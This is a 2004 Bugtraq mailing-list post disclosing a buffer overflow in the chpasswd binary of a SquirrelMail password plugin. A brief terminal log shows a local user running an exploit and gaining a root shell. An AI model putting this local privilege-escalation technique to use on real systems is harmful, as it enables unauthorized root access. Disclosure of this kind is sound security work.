bugtraq - Squirrelmail Chpasswod bof

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Message-ID: <200404170420.32857.matias@neiff.com.ar>
Date: Sat, 17 Apr 2004 04:20:26 -0300
From: Matias Neiff <matias@...ff.com.ar>
To: bugtraq@...urityfocus.com
Subject: Squirrelmail Chpasswod bof


Hi all

There is a boffer over flow in the chpasswd binary, distributed with the 
plugin. This allow to local's user to execute commands as a root.
---:::Prott:::---
root@...o:/mnt/hosting/hack/bof# su webmaster
webmaster@...o:/mnt/hosting/hack/bof$ ./exploit 166 5555 99999
Using address: 0xbfffe325
bash-2.05b$ ./chpasswd $RET asdf asdf
The new password is equal to old password. Choose another password.
sh-2.05b# id
uid=0(root) gid=3(sys) groups=500(webmaster)
sh-2.05b#
---:::end:::---

Bye all